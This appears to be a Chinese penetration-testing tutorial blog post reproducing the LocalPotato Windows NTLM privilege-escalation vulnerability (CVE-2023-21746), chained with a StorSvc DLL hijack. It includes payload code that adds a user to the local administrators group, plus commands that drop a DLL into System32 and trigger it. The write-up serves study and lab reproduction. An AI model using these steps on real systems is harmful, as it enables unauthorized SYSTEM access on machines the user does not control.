【渗透测试实践课程】cve-2023-21746漏洞复现,Windows NTLM漏洞

Windows NTLM 在进行身份验证时存在漏洞“LocalPotato”,允许拥有低权限的本地攻击者通过运行特制程序将权限提升至SYSTEM。

影响版本:

Windows Server 2012 R2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2012 R2 (Server Core installation)

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 22H2 for 32-bit Systems

Windows 10 Version 22H2 for ARM64-based Systems

Windows 10 Version 22H2 for x64-based Systems

Windows 11 Version 22H2 for x64-based Systems

Windows 11 Version 22H2 for ARM64-based Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 version 21H2 for ARM64-based Systems

Windows 11 version 21H2 for x64-based Systems

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

1.1 NTLM本地身份验证

类型 1 消息: 客户端发送此消息以启动连接。它用于像以前一样协商身份验证参数,但也包含客户端计算机的名称及其域。服务器可以检查客户端的名称和域,如果它们与自己的名称和域匹配,则开始本地身份验证过程。
类型 2 消息: 服务器创建安全上下文,并在此消息中将其 ID 发送回客户端。然后,客户端可以使用安全上下文 ID 将自身与连接关联。
类型 3 消息: 如果客户端成功地将自身与现有安全上下文 ID 关联,则会向服务器发送一条空的 Type 3 消息,以指示本地身份验证过程成功。

1.2 NTLM 漏洞利用

在本地的同一台机器上,会存在一个“中间人”,也就是我们熟悉的LSASS,它在NTLM本地认证过程中,担任中间人的角色,负责的工作很多,包括生成message、生成对应token值、检查身份许可等等,因为全部本地NTLM认证都调用LSASS完成,也就导致了接下来的漏洞利用方式。

1.3  NTLM漏洞攻击

1. 首先攻击者会令一个高权限程序和由攻击者编写的恶意服务端进行连接,这一步和之前的 potato 漏洞利用比较类似。
2. 恶意服务端和正常的服务端程序一样,会实例化一个 security context A ,然后先不发送给高权限客户端。紧接着,攻击者编写的恶意客户端会尝试和本地 SMB 服务器程序进行连接,按照权限来说,是没有办法完成整个本地 NTLM 认证过程的,但这里攻击者利用时间差,将 SMB 服务器程序返回的 security context B 和之前生成的 security context A 交换 —— security context B 返回给高权限客户端,这样高权限客户端会将高权限用户( SYSTEM )与 security context B 绑定,而这个字段是恶意客户端与 SMB 服务器连接的时候获得的,这样一来,由恶意客户端发起的本地 NTLM 认证就变为有效认证,此时恶意客户端返回空的 Type 3 message ,整个认证过程完成。
3. 使用 SMB 服务,攻击者就可以成功将文件写入到机器的任意位置而不受权限的约束,因为此时的攻击者已经拥有了 SYSTEM 的权限。

1.4 Windows提权

为了实现实战中可以利用该漏洞的目的,需要重新找到一种方法让写入的文件被调用。这种方法不止一种,这里介绍一种比较新的提权方式:LPE via StorSvc。具体来说,这就是一个标准的dll劫持方法,只是这里用到的位置是在windows系统中。

Storage ServiceWin32 服务。当所有版本的 Windows10 2004Windows10 20H2Windows10 21H1Windows10 21H2Windows10 22H2中的操作系统启动时,此服务将自动启动。当 Storage Service 启动时,它在 svchost.exe 和其他服务的共享进程中作为 Local System 运行。 Storage服务使用位于 C: Windows system32目录中的 StorSvc.dll 文件。

2 漏洞复现:

复现环境:

windows10 20H2

2.1 exp代码参考:https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc

https://github.com/decoder-it/LocalPotato

打开 LPE via StorSvc\RpcClient\RpcClient\storsvc_c.c ,根据环境选择正确 RPC 接口标识符。

#if defined(_M_AMD64)

//#define WIN10
//#define WIN11
#define WIN2019
//#define WIN2022

...

打开 LPE via StorSvc\SprintCSP\SprintCSP\main.c ,根据需要选择执行的命令。

void DoStuff() {

    // Replace all this code by your payload
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
        NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return;
}

分别在Visual Studio中编译出SprintCSP.dll、RpcClient.exe和localpotato.exe文件。

2.2 复现:

验证当前用户是否属于该 组:Administrators

net user user

通过使用 LocalPotato,将 SprintCSP.dll 复制到 system32 中

LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll

 运行RpcClient.exe以触发对SprintCSP.dll的调用,有效地执行 DLL 中的有效负载:

./RpcClient.exe

结果为:[+] Dll hijack triggered! ,证明有可能攻击成功了(攻击不成功也是有可能返回这个结果的,需要具体情况具体分析)

注意:对同目标的第二次攻击是会提示需要重启StorSvc服务的,否则无法完成攻击,但这个服务的重启又需要管理员的权限,低权限用户只能通过重启解决这个问题:

重启或注销用户,登入后再次验证当前用户是否属于该 组:Administrators

net user user

 成功完成本地提权。

参考文献:

localpotato实战化漏洞利用及分析

LocalPotato - When Swapping The Context Leads You To SYSTEM

TryHackMe | LocalPotato

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值